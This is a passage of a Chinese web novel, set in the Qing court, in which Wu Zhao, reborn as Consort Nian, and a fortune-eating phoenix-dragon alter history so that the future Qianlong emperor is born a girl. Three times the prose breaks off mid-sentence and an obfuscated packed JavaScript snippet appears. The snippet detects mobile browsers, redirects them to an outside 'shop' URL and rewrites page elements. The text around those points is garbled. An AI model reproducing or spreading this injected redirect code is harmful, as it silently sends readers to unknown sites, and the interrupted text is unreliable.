凤龙却一反常态,懒洋洋地趴在屋檐上,漂亮的翅膀随便耷拉着,流光溢彩的尾翼铺洒着,细长的嘴巴微微张开,舌头时不时舔动周围。 【气运~气运~气运什么时候来宝宝这边给宝宝吃~】 [麻烦你有点神兽的直觉!] 武曌无语。 但很快,她的神情也严肃起来。 她看到了气运——严格意义上说是在风水学意义上会被解读为气运的大团大团的白雾——在钮祜禄氏的产房上空快速集结,浓得像雾气一样,其中隐约有龙形之物辗转徘徊。 [这莫非就是——] 【这就是气运,宝宝最喜欢的气运~能让宝宝迅速长大的气运~】 凤龙抬头,懒散模样一扫而空,金色的眼睛里闪烁着贪婪和残忍。 【盛宴即将开始~】 随着这句话,凤龙飞入气运集结而成的神秘白雾,用翅膀将白雾撕开,用前肢将白雾捧住,大口大口塞入口中,吃得吞云吐雾,精神抖擞! 连和它存在精神链接的武曌也仿佛置身温水汤浴那般浑身通透舒适,五脏六腑都饱受滋润。 产房内,产妇发出痛苦的哀嚎。 “不……不……啊……我不要……啊……啊!” 一声急促的惊叫过后,屋内安静了。 万籁俱寂中—— 啪! 啪! 清脆的巴掌声响起,紧接着,是孩子的啼哭声。 “哇!哇——” 闻言,乌拉那拉氏大喜:“出生了!孩子终于出生了!太棒了!” “是啊~小阿哥终于出生了~” 宋氏等人跟着恭喜。 一旁的李佳兰面如死灰,只能勉强挤出笑容:“……不知道妹妹现在情况如何,生孩子可是半只脚踏进鬼门关的危险事情。” “她是有福之人,一定会逢凶化吉。” 说到这里,满脸喜色的乌拉那拉氏顿了一下,看向刚刚从产妇房中出来的嬷嬷:“钮祜禄氏生的是格格还是阿哥?” “回主子的话,格格钮祜禄氏生下了一名漂亮的小格格。” 25.生下格格! “格格?” 乌拉那拉氏顿时愣住,难以置信地看着嬷嬷:“真是格格?” 不可能! 不可能是格格! 天幕说了,钮祜禄氏生下的弘历将会在未来登基成为乾隆皇帝,他也是让康熙皇帝决心传位雍亲王胤禛的重要因素之一。 “一定是搞错了!钮祜禄氏生下的怎么可能是格格!” 乌拉那拉氏脱口而出。 电光火石的瞬间,她想到了天幕播放的历史知识中关于乾隆皇帝的一条野史:乾隆皇帝并非雍亲王胤禛的亲骨肉,而是海宁陈家夫妻的儿子。雍亲王让陈世倌夫妻把刚出生的儿子带到雍亲王府,亲手掉包了两个婴儿。 【……换子传言一度流传非常广泛,并由此衍生出数量众多的文学作品。当然,对这段历史稍微有点了解的人都知道,乾隆是陈世倌夫妻的儿子这点传言是完全的野史,禁不起一点点的历史推敲。 首先,弘历出生的时候,雍正并非一个儿子都没有,他有八岁的儿子弘时,府里的耿佳氏也即将生下孩子,没必要冒险混淆皇家血脉; 其次,弘历出生时,海宁陈世倌只是个七品编修小官,根本不是所谓的阁老大学士,在朝为官的海宁陈家其他人此时则大多年逾古稀,家中不可能有才生下的儿子; 最后也是最重要的一点,满清宗室管理存在草台班子行为,导致《玉牒》记载的人物信息大量存在误记、漏记、行序颠倒等错误,连乾隆的生母钮祜禄氏在玉牒中都出现因为缩写成钮氏结果误记成钱氏的情况。 如果乾隆确实不是雍正的亲儿子,即便乾隆成为皇帝后可以删除所有对自己不利的记录,也无法保证将浩如烟海的宗族资料中的每一条不利记录都删干净。 这点在康熙-雍正-乾隆三朝所有因政治原因被清算的宗室成员身上都有所体现——即便皇帝亲自公布他们的罪状,删除他们的功绩,后世整理资料时依然会时不时从一些角旮旯子的地方翻到没有删干净的与他们的公开罪状完全矛盾的内容记录。】 可是如果…… 如果换子是真的…… 在这里是真的…… 那我……我…… 乌拉那拉氏颤抖地想着,眼神逐渐坚定:“钮祜禄氏生下的绝不可能是格格!是阿哥!一定是阿哥!” 嬷嬷闻言,以为嫡福晋想要王府再添个阿哥想到犯魔怔,小心翼翼地提醒道:“福晋,您在院子里忙了一整天,要不奴婢们先扶您回房间休息?” “胡说!我身体好得很!” 乌拉那拉氏打断嬷嬷的话,坚毅强调:“记住,钮祜禄氏生下的是阿哥!阿哥!” “奴婢明白,奴婢送主子回房休息……” 嬷嬷苦笑着试图送乌拉那拉氏离开。 另一边,得知钮祜禄氏生下的是个格格,李佳兰莫名长舒一口气,见嫡福晋不能接受这个结果,急忙热络上前,与嬷嬷一左一右哄乌拉那拉氏回去休息。 武曌见状,也款款来到乌拉那拉氏面前,柔声道:“姐姐,方才院子里的人全都听得真真切,钮祜禄氏生下的是一名小阿哥。” “是小阿哥……对……是小阿哥……小阿哥……” 嬷嬷们回过神,纷纷附和,心中一个劲夸赞侧福晋不愧是年家人,随机应变,聪慧无双。 “福晋,我们先回去歇息——” 李佳兰趁机领着嬷嬷们送乌拉那拉氏离开。 乌拉那拉氏此时也渐渐回过神,虽然内心深处依旧不能接受大好的阿哥变成格格,但她还有天幕,还可以通过天幕直播的内容获悉大清的未来。 弘历自然不可能是陈世倌的儿子,朝堂上根本没有陈世倌这个人,但倘若四爷在郊外的园子里养的某个汉女也在此时生下孩子—— 应该就是这么回事! 乌拉那拉氏激动地想着。 天幕直播的历史中,关于爱新觉罗弘历的身世有诸多野史说法,其中流传最广的是海宁陈家说,第二广泛的说法则是李金桂说。 【……传言李金桂本是承德避暑山庄的粗使丫头,四爷陪同康熙皇帝去木兰围猎时因为一碗鹿血意外宠幸了李金桂,之后李金桂怀孕,在避暑山庄的一处茅草棚中生下弘历。 胤禛向康熙禀明真相后,因为李金桂身份过分卑微又相貌丑陋,只将李金桂所生之子带回王府,李金桂未得任何名号,只是在狮子园西的松林深处盖了两间平房供她栖身,衣食无缺,直至死亡。 乾隆登基后得知自己的生母是狮子园内的李金桂,因此每逢路过山庄,都要特意前往狮子园探望一番。 当然,李金桂说本身是完全立不住脚的。因为乾隆出生于康熙五十年八月,而狮子园直到康熙五十一年才被康熙赏给胤禛,以皇家的规矩,胤禛是不可能在获赐狮子园前就随意进出狮子园甚至将李金桂安置其中。 何况以胤禛的谨慎,又怎么可能在康熙眼皮下与宫女发生秽乱之事?】 对于天幕的这些内容,乌拉那拉氏原本是深信不疑的,但是现在—— 钮祜禄氏已经生下格格! 弘历必然只能是外面的女人所生! 除非…… 除非大清历史被改变! 目前为止,乌拉那拉氏从未听说天幕播放的历史也会发生颠覆性改变——虽然天幕讲述年家的多个视频存在内容冲突,但所有关于年家的视频给出的年家的最终命运都高度一致。 弘历的情况想必也是如此。 弘历一定会出生,就像她一定会成为大清皇后。 想到此处,乌拉那拉氏长舒一口气,在李佳氏的陪同下返回自己的住处,随即寻由头遣下奴仆,开启天幕—— …… 乌拉那拉氏走后—— 眼见产妇在房内昏沉沉睡去,新出生的孩子经乳母细心呵护,渐渐褪去水肿,一时无所事事的武曌端起冰镇绿豆汤,慢悠悠喝着,和因为吃到大量气运而眉飞色舞的凤龙聊天。 [看你的样子,似乎吃得很满足?] 【当然,非常满足~宝宝刚才不仅吃掉了他的气运,也将由他引发的未来全部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984500|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃掉了~宝宝身体里现在装着一整个平行宇宙~怎么可能不满足不舒服~】 [一整个平行宇宙……] 武曌难以置信。 因为自称吃下一个平行宇宙的凤龙,身体仅仅大了两圈,看起来依旧精致可爱,只是添了几分沉稳气质。 【不要不信宝宝的话~宝宝的肚子被塞得满满的,再吃一点点就能进入下一个阶段,成功化形~化成你们人类的形态~更好地理解世界以及更快的成长~】 [化形吗?] 武曌挑了下眉头。 她对凤龙化形后的模样毫无兴趣,但她想知道原定的未来被凤龙吞吃以后,世界的未来会发生什么? 【什么都不会发生,宝宝的意思是,对于生活在这个世界的人而言,什么都没有发生,他们并不知道世界在刚才那一瞬发生了怎样的改变,也不会知道他们原本会有怎样的未来命运。历史这条长河依然在朝前流淌,流向另一个方向。】 [历史直播天幕呢?] 武曌追问。 【天幕……这个世界的未来天幕会发生改变……但是天幕本身来自未来,无数种的未来……所以……如果宝宝愿意,宝宝可以让四福晋只看到对她有利的未来……但那个未来并不是这个世界的真正未来……】 [——你的力量让我感到可怕。] 武曌直言不讳。 她知道凤龙是神兽,生来就拥有不可思议的力量,成年后甚至可以无视时间和空间同时存在于过去和未来,但她显然还是严重低估了凤龙的强大。 【你会感到害怕,因为我的力量超越你对力量的理解和认识,但实际上……即便是成年体的我也没有达到全次元全能的程度,祂需要以亿万为计数单位的漫长到对你们而言近乎无边无际的成长……当然,这些都不是我们现在需要考虑的事情~我们现在唯一正在讨论的事情是——】 [你是否真能反向操控四福晋的天幕直播系统,让她只能看到我想让她看的东西?] 武曌迅速转过弯,冷峻地看着凤龙。 凤龙舔了舔嘴边细须。 【可以试试,不过不能保证一定会成功。】 祂看起来既纯良又狡黠。 …… …… 得知钮祜禄氏生下一名格格,怀胎七月的耿佳氏惊得险些摔倒,亏得嬷嬷眼疾手快迅速扶起。 “主子,您小心身体……” “我没事……没事……” 耿佳氏心不在焉地说着,脸色难看得要命。 嬷嬷不解,低声对耿佳氏道:“主子,钮祜禄氏生下格格,对主子而言难道不是好事情吗?” “怎么说?” “钮祜禄氏是满军旗,主子是汉军旗,钮祜禄氏若生下阿哥,她生的小阿哥自然比汉军旗生下的要尊贵。可惜如今她生下的只是格格……而主子即将生下孩子很可能是个阿哥……” “我也不可能生下阿哥……不可能……不可能……” 耿佳氏哆嗦着说道,面色白得像死人。 26.耿佳氏的秘密 耿佳氏有一个秘密,一个无人知晓的秘密。 康熙四十三年,也就是她年满十五的那一年,耿佳氏意外绑定了一个自称咸鱼签到复刻系统的奇怪东西。 只要连续签到满六百天,就可以得到一次复刻他人命运的机会,让她有机会拥有想要却几乎不可能得到的东西。 因为系统要求的每日签到并不会对日常生活造成任何影响,出生镶白旗包衣作为使女选在雍亲王府做事的她于是抱着试试看的心态第一次连续签到六百天,如愿获得复刻机会,通过复刻刚刚为雍亲王生下三阿哥弘时的格格李佳兰的命运,从使女晋级为雍亲王府的格格。 至于李佳兰在生下三阿哥弘时后不久就晋为侧福晋(康熙四十五年)但从此彻底失宠这点是否为咸鱼签到复刻系统的复刻副作用,耿佳氏不知道,也不想知道。 她只知道,咸鱼签到复刻系统确实有效。 所以,当她再次连续签到六百天获得第二次复刻他人命运的机会后,她选择了复刻雍亲王府当前唯一怀有生孕的女人——格格钮祜禄氏的命运。 复刻完成后,系统告诉她,这是一场成功的复刻,她将很快和钮祜禄氏一样怀上雍亲王的骨肉,并和钮祜禄氏生下同性别的婴孩,她所生的婴孩还有一定可能复刻钮祜禄氏所生婴孩的命运,即—— 倘若钮祜禄氏的儿子将来长寿,她的儿子必定也能长寿;倘若钮祜禄氏的儿子将来继承大统,她的儿子则最低也是个和硕亲王。 所以,当钮祜禄氏去庙里烧香祈福得到“有福之人”的上上签、当嫡福晋请来的风水大师、相术高手纷纷表示钮祜禄氏肚子里的孩子必定是个男孩,耿佳氏的心情也一样明媚开朗。 因为她知道,钮祜禄氏母子的福气会被咸鱼签到复刻系统全数复刻落到她和她的孩子身上。 结果现在—— 钮祜禄氏生下的居然是个格格! 不是阿哥! 不是—— 阿哥! 为什么会这样! 几乎所有的风水师、相术师、高僧都言之凿凿的有大气运的小阿哥,为什么会突然变成格格! 为什么! 难道说—— 耿佳氏开始慌张。 本已被刻意遗忘的侧福晋李佳兰被她复刻命运后不久就失宠这件事再次袭上心头。 或许,李佳兰失宠是被我复刻命运的副作用,钮祜禄氏生下格格而非阿哥同样也是被我复刻命运的副作用。 如果……如果…… 【你在害怕什么?】 系统的声音在耿佳氏脑中想起。 耿佳氏轻抚小腹,苦笑道:“钮祜禄氏生下了一个格格,我开始担心我的肚子里的孩子……万一也是格格……那我可……可……” 【——我的能力是签到复刻,你对钮祜禄氏的复刻必定绝对有效。】 “什么意思!我……我真的会……会……” 耿佳氏越加慌乱。 系统的回答太过古怪,仿佛在安慰她,又好像什么都没有说。 “我会生下的究竟是男孩还是女孩……明明那么多人都说钮祜禄氏将会生下小阿哥,可她最终却生下了小格格……我的孩子……我的孩子如果也……也……” 想到此处,耿佳氏心乱如麻。 伺候耿佳氏的奴婢、嬷嬷们见主子因为钮祜禄氏生下格格而惴惴不安,无不心疼垂泪,软声安抚。 …… 同一时间—— 嫡福晋乌拉那拉氏回到住处,借口头痛屏退左右,靠在榻上,仰头开启天幕。 天幕没有反应。 它仿佛被杀死一般不做任何反应。 乌拉那拉氏也不由地惊慌起来。 要知道,天幕可供观看的内容分为直播和视频两种,其中直播的发生和结束都不可控,而视频则只要出现在天幕的观看列表就可以随时随地地打开观看——虽然乌拉那拉氏至今不知道天幕是什么、为什么给自己看这些东西以及这些东西源自何处又为何存在。 但有一点可以确定,以往不论什么时候打开天幕,都有大量内容供她观看,少部分时候是历史直播,大部分时候是历史视频。 但是今天—— 完全超出预想的情况发生了! 天幕竟然完全没有反应! 可以开启,但是浮现面前的是黑漆漆一片。 为什么会这样? 天幕究竟发生了什么? 为什么会—— 【叮!非常抱歉,天幕因不明原因暂时停止提供服务……请稍后再尝试链接!】 【叮!天幕因不明故障将暂停服务,恢复时间未知,给您带来不便敬请原谅……】 【叮!我们将在三个自然日内尝试天幕系统的全面重启,对您造成不便,敬请原谅……】 【叮!天幕系统正在检修中……】 【……】 连串的没有语气起伏和感情变化的系统音在乌拉那拉氏脑海中直接响起,诡异的变故让四福晋不禁毛骨悚然。 到底……到底发生了什么! 一直以来供我观看的天幕究竟是什么? 还有这些声音…… 这些声音又是什么…… 为什么可以直接在我脑海中响起? 它们说的这些内容…… 为什么我完全不能理解? 明明每个字都能听懂,连起来却—— …… …… “真的生下了格格?” 书房内,收到后院消息的胤禛面色冰凉如铁。 “回爷的话,千真万确,格格钮祜禄氏确实生了个小格格……可怜嫡福晋一心期盼钮祜禄氏为雍王府添小阿哥,听到嬷嬷说新出生的是一个小格格的时候,伤心得整个人都魔怔了……” 说到这里,苏培盛不禁擦拭眼泪。 胤禛也是一声叹息:“福晋这些年受了太多委屈,也是难为她……” “爷,是否要去嫡福晋那边……” “不必。” 胤禛冷冰冰地说道:“她受了这么大的打击,应该让她一个人静静。” “嗻。” “钮祜禄氏那边——” 胤禛想了一下,道:“雍王府子孙稀薄,能有个女婴出生也是不容易,该给的赏赐和待遇,一样都不能少给。” “嗻。” “还有——” 胤禛面色沉下:“听说新出生的是小格格的时候,弘时是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003619|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么反应?” “这……” 苏培盛面露迟疑神色。 “说!” 胤禛声色俱厉。 苏培盛于是低头回答道:“三阿哥神色平静,与侧福晋一道陪嫡福晋回去。” “神色平静?” 胤禛知道苏培盛有意给弘时粉饰,自言自语道:“他确实很平静……也应该平静……新出生的是小格格,他便还是雍王府唯一的儿子,不论表现如何,都是唯一的仅有的儿子……” “爷,三阿哥只是年纪小,等他稍长大一些必定就——” “人人都对我说过类似的话!但是弘时他真的可能随着年龄逐渐变得优秀吗?” 胤禛不相信。 苏培盛也不敢再多言,将钮祜禄氏处的情况如实禀告后便躬身退出。 胤禛捏着念珠,心思起伏不定。 …… …… 夜色逐渐深沉。 确定钮祜禄氏的院子里已经没有要紧事情需要自己协助处理后,武曌回到年氏的院落,在嬷嬷和奴婢们的伺候下拆了发髻,梳洗一番后躺在床上。 和乌拉那拉氏一样,她也在躺下后不久收到了大段的天幕系统故障提醒。 [这些故障提醒莫非都是本该今日出生的弘历变成格格引发的?] 【嗯嗯,姐姐猜得没错,确实是宝宝吞吃过量气运改变历史走向引起的。】 凤龙扇动翅膀出现在武曌面前,天真地脸上毫无愧疚或不安。 【时空被打碎了,需要重新链接……好在不需等太久……全新的链接就会形成……就像水不会因为河道淤堵而截断,历史也不会因为变故就彻底断流……】 [没有乾隆的历史会是什么样?] 【这个问题很重要吗?】 凤龙反问。 武曌沉默了。 是啊,这个问题很重要吗? 她既然介入了这段历史并对这段历史造成不可逆转的大修改,就自然要担起被修改后的历史! 她是历史的修改者,她也是历史的成就者! 她生来不平凡,也不可能平凡。 [我明白你的意思了,历史的方向握在我手中,我不需要代表未来的天幕告诉过去的我——什么该做什么不该碰。] 【姐姐真聪明,不愧是宝宝最喜欢的姐姐~】 凤龙喜笑颜开着,聚集身体表面的光芒越来越浓郁,浓得能够照亮—— 突然! 白昼般的光芒炸开,一个完全由白光融合凝集而成的类人形体在武曌面前以缓慢而柔软的姿态逐渐形成。 祂看起来非常脆弱,仿佛一泓流动的光。 但当祂抬起头,当祂那完全由流动的光凝聚而成的面容褪去光芒逐渐清晰时—— 武曌险些发出惊叫。 不是因为眼前的生命的眼睛是一泓融化的灿烂黄金、没有黑色瞳孔也没有白色眼白,也不是因为祂的面庞白得毫无血色、仅嘴唇处染有一抹浅浅的红,更不是因为祂那还在不断塑造成型的头发竟是介于月光和流水之间的半透明的银白色,而是—— 祂的五官居然和自己长得一模一样! 更确切的说,是和年世华的脸一模一样! 27.生儿生女 [为什么是我的脸?不对,为什么是年世华的脸?] 【我只和你熟,拟态成人的时候不自觉地借用了你的外形。】 凤龙一脸无辜地说着。 白光如潮水般褪去,修长优雅的身体出现在武曌面前。 武曌吸了口气,开始欣赏凤龙的人类形态。 即便用最苛刻的评断标准,她也必须承认凤龙的人类形体是美丽的,即便祂的皮肤是没有血色的雪花白色,表面还仿佛覆盖着透明鳞片般闪烁五彩流光,身上没有毛孔与毛发,也没有人类男女该有的用于区别男女性别的部位。 [解释一下,你的人类身体算男人还是女人?] 【男人?女人?】 凤龙被问住,迷茫地眨动没有瞳孔与眼白区分的黄金眼睛,张开全身上下唯一拥有血色的嘴唇。 【为什么要分男女雌雄?性别对人类而言真的那么重要吗?】 [非常重要,没有性别,人类就无法繁衍后代,无法更好地相互扶持分工协作,无法——] 【凤龙没有性别,因为凤龙不需要繁衍,但是凤龙愿意跟随姐姐学习人类的规则——】 凤龙直白地回答道,伸出修长优雅的双手将垂至腰侧的银白长发抓拢盘成一团鸡窝,用力抓挠几下,松开时,会让人联想到月光的蓬松银发已经全数变成如夜色般深邃的笔直黑发。 【……改了下头发的属性,从全反射改成全吸收,所以成了黑色。】 解释头发变黑的同时,祂双手捂脸,用力揉按。 [你这是——] 【姐姐不希望我长得和你现在的脸一模一样,而且我现在的眼睛不像人类,所以我要修改。】 说话间,凤龙抬起头,露出全新的有眼白、虹膜和瞳孔的眼睛。 【这样的眼睛……可以吗?】 [嗯?] 武曌眯眼,细细打量凤龙的眼睛,发现这个笨蛋虽然把眼睛修改成东方常见的黑白分明,但是祂的瞳孔与虹膜都是纯黑色,且瞳孔周围有一圈细得几乎看不到的金色,暗示这双黑白分明的眼睛本质是非人生物为伪装成人类而做出的拟态。 [这样的眼睛——] 【不满意吗?】 凤龙可怜巴巴地看着武曌。 祂刚才不仅改了眼睛,也按武曌要求重塑了五官,现在的脸已经不再和年世华的脸一模一样,但是—— 由于凤龙对人类性别的完全无意识,在年世华的脸庞基础上重塑后的五官呈现出介于两性的美丽,既有女性的柔和精致,又有男性的深刻尖锐,加上凤龙的非人神兽本质和幼生的无辜天真气质…… [即便完全拟态成人类,你依然不是人类,因为人类无法将如此多完全对立的元素完美糅合在同一张脸上,结出这份既圣洁又妖冶、既宁静又疯狂的诡异魅力。] 武曌伸手,轻抚凤龙的人类脸庞。 [如果我有一张这样的脸,我或许可以只凭脸蛋就征服全世界。] 【征服世界……为什么要征服世界?】 凤龙茫然询问。 [因为——] 武曌想了一下,没有继续说下去,催促凤龙将没有性别特征的身体也修改成更接近人类的模样。 【哦哦……】 凤龙连连答应,并在短暂的思考后把自己拟态成更接近人类男性的模样。 【上半截改成类男性的流线型身体便于行动,至于下半截……我又不是真正的人类,没有人类的繁殖需求和排泄需求……而且人类的那个部位——不管男性还是女性都非常脆弱——所以,除非万不得已,否则我只打算让我的人类拟态的下半截保持光秃秃的原样……】 凤龙如此回答。 即便拟态成人类,祂的本质依然不是人类,不能理解并成为真正的人类。 对此,武曌表示完全理解。 凤龙不是人类,不管祂怎么努力扮演人类。 所以—— [你变出人类形态以后是继续只有我能看见还是其他人也可以看到?] 【这个问题……】 凤龙咬了下嘴唇,天真到愚蠢的幼体眼神搭配充满魅惑气息的人类脸庞,散发出令武曌都感到不安的气息。 [建议你还是维持只有我能看到的状态,人类——尤其是人类男性——很容易对美丽的东西产生近乎丑陋野蛮的占有欲以及毁灭欲,而你现在的样子……] 武曌顿了一下。 [你拟态的人类形体太过美丽,如果随意出现在所有人面前,很容易引发人类的扭曲占有欲和变态毁灭欲——虽然我知道人类的欲望不可能对身为神兽的你造成一丝伤害,但我想成为世界的女皇,我不希望我统治的世界因为某些愚蠢的管不住自己的丑陋家伙而被你摧毁。] 【——不是很懂,但是大概能理解。】 凤龙似懂非懂地点了点头,接受武曌的要求。 随后,祂走到年世华的梳妆台前,兴致勃勃地研究起年世华的首饰和服装。 …… …… 经过两天的休养,钮祜禄氏逐渐缓过气,得知千辛万苦生下的竟然真是小格格,眼中闪过难掩的落寞。 “……那么多高僧、相师都说我这一胎怀的是阿哥,说我是有福之人,为什么……最后生下来的竟然是个小格格……我……” “主子别难过,生男生女是天命,何况……爷说了,雍亲王府子孙单薄,生儿生女都是好事……小格格自然也是极好的。” 嬷嬷苦心安慰钮祜禄氏。 钮祜禄氏听到这里,也是长叹一口气,道:“……不知耿佳氏那边是什么结果。” “天命这种东西,谁知道呢?” 说话间,嬷嬷给钮祜禄氏端来补身的汤药:“主子,身子要紧。” “我……” 钮祜禄氏抬头,看到年世华款款走来,下意识要起身行礼—— “快躺下!” 武曌温柔上前,按住要起身的钮祜禄氏:“你才刚生了小格格,不能下地!” “可是……按规矩……” “规矩是死的,人是活的。” 武曌态度很坚决,从嬷嬷手中接过汤药,亲自喂钮祜禄氏喝下:“你现在什么都别想,安心养身体,养大小格格。” “小格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017490|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格……” 钮祜禄氏的眼中再次划过落寞。 她知道自己无法和年轻美貌又有显赫家世的年氏竞争宠爱,可拼死拼活好不容易生下的孩子竟然是个格格并非阿哥—— 想到自己不会再有第二次怀孕的机会,钮祜禄氏内心无限苦痛。 “爷说过,雍王府的孩子不论男女都会得到最好的教养。” 武曌柔声安抚。 她听到了钮祜禄氏内心深处的委屈,也感受到钮祜禄氏的温和本色,因此愿意以同等的温柔回报这个不得宠却又宽容大度的后院女人。 “侧福晋……我……我……我希望你也能早日给爷生下孩子,最好是阿哥……雍王府的孩子实在太少太少……三阿哥又……” “我知道,我们都在等待……” …… 从钮祜禄氏处出来,武曌还未说话,凤龙已经迫不及待。 【为什么人类非要分出男女?为什么人类女性明知道女孩更温柔更漂亮更贴心,却总是期待生下男孩?】 [因为在现有的制度下,男孩能给母亲和自己带来更多的利益和好处。] 武曌直言不讳。 [男人可以参加科举可以做官可以出将拜相成就一番事业,女人……女人最好的前途也不过是嫁入深宫成为皇子的生母,其次是成为高官的嫡妻,掌管后院生儿育女……她们纵有再多的才华与能力,终究必须为男人服务……所以女人即使明知道女孩好,也还是想生下男孩……因为生下男孩能让她们在这个以男人为主导的世界得到比生女孩要多得多的利益和好处……] 【好复杂……好可怜……】 凤龙眨动眼睛,长长的睫毛挂满水晶一般的泪珠。 【性别果然是个错误,但是如果生物没有进化出不同的性别,生命又无法一路繁衍变异进化到今天……唉,难怪我必须变化成人类,完全理解人类的世界的各种法则,体会人类的丑陋和美好,之后才会迎来真正的长大……】 [所以你来到这个世界,真正的目的是寻求成长?] 【是的,我需要理解你们人类的一些东西,从而得到真正的成长,当然,并非人类的所有一切都是我想要的,我只会选择对我有价值的东西~】 凤龙笑嘻嘻地看着武曌。 祂正在成长,稚嫩的脸庞不自觉地散发出不属于人世间的妖冶。 【而姐姐是我成长的关键~跟在姐姐身后,我可以更深刻的看到人类的美丽和丑陋,学习最肮脏和最美好的知识~我也会帮助姐姐得到最多最高的权力,因为姐姐得到的越多,我的成长就会越快~各方面意义上的成长~】 [各方面意义的成长……] 武曌瞬间了悟。 凤龙所需的成长养分不仅仅是权力本身,也包含了为了权力而主动围在身边的无数种或丑陋或高尚或纯洁或阴暗的心思。 [这些东西,你怕是要学习很久——] 【无所谓,凤龙有无限的时间用来学习。】 凤龙天真地说着,拨动纤长的手指,在空中划出若有若无的五根白线。 【叮!历史直播系统完成重启!】 28.系统重启 【——系统完成重启!尝试重新链接……】 【叮!链接倒计时……十……九……八……三……二……一!】 【历史直播系统重新链接已完成!突发故障造成的种种不便,请多多包涵!】 【……】 连串的系统音在脑中响起,这几日都因天幕故障而心烦意乱的嫡福晋不由长舒一口气,借口抄写法华经将伺候她的奴婢、嬷嬷们尽数屏退,手持小楷笔,眼睛牢牢盯着悬浮在左侧前方一米处的天幕。 【……非常抱歉,天幕系统出现不明故障,导致服务暂停……现在故障已经排除,但由于系统故障时间过长及其他非自然因素……遗憾的是,虽然系统竭尽所能地抢救并修复数据,依旧有大量过往观看、订阅数据大范围丢失,请原谅我们的无能…… 以上是我们关于此次故障的诚挚道歉,如果您不愿接受我们的道歉,可以选择[退出]永久停止天幕服务,如果您愿意一如既往地观看并使用天幕,请选择[确定]进入天幕系统。】 毫无疑问,乌拉那拉氏选择了[确定]。 不仅仅因为系统本身的神秘与魔性,更因为这么多年下来,观看天幕提供的各种历史直播和历史视频早已成为她枯槁无趣的生活中唯一的快乐。 是天幕告诉乌拉那拉氏,即便她失去了唯一的儿子弘晖,她将来依然会成为大清皇后,母仪天下。 也是天幕告诉她,后院里和她争斗的女人们几乎没有一个结局幸福,眼下处处压她一头的八福晋、九福晋以及八爷、九爷……未来一个比一个凄惨。 而她的丈夫—— 雍亲王胤禛,虽然从始至终都不爱她,但他始终尊重她,在他登基后封她为皇后、准许她享受身为大清皇后能够享受的所有尊贵和荣耀。 如今,本该生下未来的乾隆皇帝爱新觉罗弘历的钮祜禄氏却只生下一名格格,唯一有可能知道其中缘由的天幕直播系统又在意外发生后立刻出现长时间的故障——毫不夸张地说,等待系统排除故障的这几日,乌拉那拉氏每时每刻都处于水深火热的煎熬。 现在系统终于排除故障重新启动,她迫不及待地点击[确定],进入直播系统,找到康熙-雍正-乾隆相关的内容! 【……出生于康熙五十一年十月的皇五子显然是当时还只是雍亲王的胤禛的最大福星,在他出生的同一时间,困扰康熙皇帝半生的皇太子有了最终解决方案—— 康熙五十一年九月三十日,康熙皇帝谕诸皇子,称皇太子胤礽狂疾未除,大失人心,不可托付祖宗江山,将胤礽拘执看守; 康熙五十二年十月初一日,康熙正式下诏废黜皇太子胤礽,后若有奏请皇太子已经改过从善应当释放者,诛之; 康熙五十一年十月十九日,禁锢废太子胤礽于咸阳宫: ……】 一条条一段段的内容看得乌拉那拉氏怵目惊心,同时又大感欣慰。 虽然未来的乾隆皇帝爱新觉罗弘历没有出生,但是一年后的康熙五十一年十月,雍亲王府迎来了更加聪明能干的皇五子,并且,他出生当月正是皇太子胤礽被废之时。 四爷成为雍正皇帝的未来没有被改变,她这个嫡福晋将来也依然是大清皇后。 乌拉那拉氏激动地想着,忽略了该历史视频对皇五子的生母名字的只字不提。 当然,即便她注意到这一点,也不会多加留意,毕竟,身为雍亲王的嫡福晋、未来的大清皇后,她最在乎的是胤禛有没有成为皇帝,而不是谁让胤禛成为皇帝。 …… [看这视频的意思,未来继承皇位的似乎是皇五子……] 通过复刻天幕同步观看视频的武曌微微皱眉。 重启前的天幕系统内有大量关于爱新觉罗弘历的内容,各种角度、各种解读,武曌因此对这位未来的大清君主有着非常充分、多面的了解。 作为封建集权君主,他是毫无疑问的合格—— 在他统治期间,封建皇权达到了最高峰,国家实控土地面积也上了新高度,发明的“金瓶掣肘”制度更一劳永逸地解决了被大唐称为吐蕃的藏区的归属问题,而他对准噶尔等周边地域的铁腕征伐也让武曌拍手叫好。 然而—— 如果将地图从东亚扩张到全世界,乾隆却是一位失败的君主,或者说,一个为了维持自己的统治不择手段的自私君主。 他知道外面的世界正在发生什么,不论是法国大革命还是北美独立战争或是英国的工业革命、沙俄的土地扩张、东印度公司对尼泊尔地区及藏区的觊觎……他什么都知道,他甚至和当时的法国国王是笔友,和沙俄女皇频繁通信互骂,但他不许他的臣民知道并谈论这些。 